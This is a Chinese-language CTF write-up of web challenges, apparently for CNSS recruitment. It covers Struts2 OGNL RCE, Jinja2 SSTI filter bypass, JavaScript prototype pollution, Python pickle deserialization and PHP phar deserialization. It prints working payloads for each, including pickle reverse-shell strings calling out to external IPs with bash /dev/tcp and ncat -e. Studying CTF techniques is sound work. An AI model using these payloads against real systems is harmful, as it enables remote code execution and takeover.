CNSS
直接访问
照要求做即可(火狐的cookies在网络里)
Rce基础,拼接命令即可
机器总是比手快的(悲
不知道是不是xss,应该是代码审计吧
利用伪协议将分数更新至目标然后调用getflag()
文件上传(前端过滤),拦截js就打不开页面了,只能通过burp修改后缀
标签页给出了提示,搜索了一下然后直接贴代码就出来了,原理还是模糊的,POC需要先进行url编码
POC:
1 2 3
| %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27 ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
|
参考:
1——————2
参考RCE 绕过长度限制(分割命令)
/ >1可以生成一个1文件,而 ls -t>0,可以将生成的文件按时间顺序(最先输入的在最后,所以要把原本的顺序倒过来输入)
最后sh 0 执行生成命令
如果限制太小还需将ls -t>0命令拼接
两个反斜杠放在命令行的最后,则表示它是一个换行符号,即命令还要在下一行继续,在输入很长的命令时很有用
strip()删除空白符,了解了一下format()函数(按次序填充)
shell反弹是什么捏?get!
尝试过的POC:><a 其实根本不是xss(
SSTI :
模板化flask(jinja2)框架对用户输入过滤不严导致的漏洞,会用到内置的许多魔法变量
一般过程即拿到当前类的基类然后调用基类的子类中的方法,一般使用的是os._wrap_close中的popen方法,也可以拿到builtins,里面有eval[需要调用os模块(‘__import _ _(“os”).popen(‘cmd’).read()’)],
首先,不能输入字母,考虑十进制以下编码绕过(怎么会有人一开始想用html实体啊)
其次,(),[],{},””几种类型都不能取得父类尝试过数字型后成功回显,直接用object显然被过滤pass了
最后,popen不能被调用(或者说我搞不清楚怎么调用)而且popen不是把字符串当作命令执行,所以在学长的提醒下转而调用了builtins中的eval函数
不太清楚为什么eval中还传入了其他的东西调用popen以后再执行命令,【懂了,调用python模块,wssb】打个标记¿×膩肟
SSTI.pdf
ps:目标函数通常有file,subprocess.Popen,os.popen,exec,eval
一篇很有用的总结
1 2 3
| url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
|
1 2 3 4 5 6 7 8 9
| POC: {{123['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['__\151\156\151\164__']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\160\157\160\145\156\50\42\154\163\40\56\56\57\42\51\56\162\145\141\144\50\51')}}
ps:\56\56是..
source: ''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls ../").read()') Simplified: {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen().read()")}}
|
js原型链污染
每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype(而原型被所有构造函数构造的对象以及构造函数共有),当将原型修改以后所有对象的类一同改变,达到污染的效果
1.以json格式post
并且请求头:headers={“Content-Type”:”application/json”},
2.观察源代码发现主要引入了index和login模块然后查看,发现login中waf过滤了exec和load和调用了common模块中copy合并函数,然后套poc污染对应对象的原型绕过if,使用连接字符绕过exec过滤
3.poc:
1 2 3 4 5 6 7 8 9 10
| import requests as re
url='https://ezpollution-pre-b9013859d700dbfe126879451f822757.ctf.hurrison.com/login' headers={"Content-Type":"application/json"}
json={"username":"123","password":"123","__proto__":{"psych":"p5ych","eva1":'''require("child_process")["exe".concat("cSync")]("cat ../flag")'''}}
res=re.post(url,json=json,headers=headers) print(res.text)
|
一些绕过方式:资料来源
关于pickle(反)序列化:
功能:将一些内容序列化翻译成字符串,反序列化即还原
记录一些我大概能够理解的操作:
c,GLOBAL操作符
:
连续读取两个字符串module
和name
,规定以\n
为分割;接下来把module.name
这个东西压进栈
并且其引用的变量在栈上修改后会导致原变量也被修改,可以达到篡改变量的效果
},)
:压入一个空dict,空tuple.
MARK(
:1.load_mark把当前栈这个整体,作为一个list,压进前序栈,并清空
i
:相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
o
:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
还是品读人家的笔记吧,自己写成shit了…..
1.首先,得知道是反序列化(,然后就被卡住了,因为无论怎么传值都反不出来,心态直接炸了,自己也对进制和编码什么的只是粗泛的了解,红温以后转战其他题去了
2.某天被push以后敲打了出题人,了解到pickle向下兼容并且python2中没有奇怪的byte都是可视字符(除了换行符\n%0A,如需用到保留字符的字符串形式需要进行url编码),用quote url编码后终于可以正常传参了yeah(其实只需要将不可见字符进行编码即可)
3.熟悉了下class后尝试了几下,发现得传Hi()[源代码类]来调用本身存在的类,因为禁用了’R’,所以直接传属性值pass掉了,
搜寻了一众资料了后,发现c指令调用全局变量buyInfo中的NAME值作为name值即可,然后成功
资料
指令集
ps:p1,p2…操作是PUT操作,即将当前栈的栈顶复制一份到存储区,大多数情况下可省略
1 2 3
| poc: %28i__main__%0AHi%0Ap0%0A%28dp1%0AS%27money%27%0Ap2%0AI2000%0AsS%27name%27%0Ap3%0AcbuyInfo%0ANAME%0Ap4%0Asb. 简单优化一下:(i__main__%0AHi%0A(dS'money'%0AI2000%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.
|
说实话没太看懂什么进栈出栈的,但是借助picktools还是能勉强地敲出poc,
直接套用相似题的wp的poc报错试图从一个item的栈中弹两个item,那我就再塞一个进去嘛
然后就成功获取到了系统权限,第一次做没有回显的题,才发现自己不会弹shell更没有vps,还没有一些基本知识,唉
&需要编码为%26不然会报错
1 2
| bash:(i__main__%0AHi%0Ap0%0A}(V__setstate__%0Acos%0Asystem%0AubVbash -c "bash -i%20 >%26/dev/tcp/124.220.41.141/5566 0>%261"%0Ab. nc:(i__main__%0AHi%0Ap0%0A}(V__setstate__%0Acos%0Asystem%0AubVncat -e /bin/sh 192.168.217.155 5566%0Ab.
|
phar 反序列化,wakeup绕不过去,修改phar文件以后就一直修复不上了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class CNSS{ public $shino;
public $shin0; public $name; }
class Show{ public $key; public $haha; }
class CN55 { public $source; public $params; }
$a = new CNSS(); $show = new Show(); $cnss = new CN55(); $cnss->params['key']='f1ag.php'; $a->name=$show; $show->haha['hehe']=$cnss;
$phartest=new phar('shino.phar',0); $phartest->startBuffering(); $phartest->setMetadata($a); $phartest->setStub("<?php __HALT_COMPILER();?>"); $phartest->addFromString("shino.txt","shino"); $phartest->stopBuffering(); ?>
|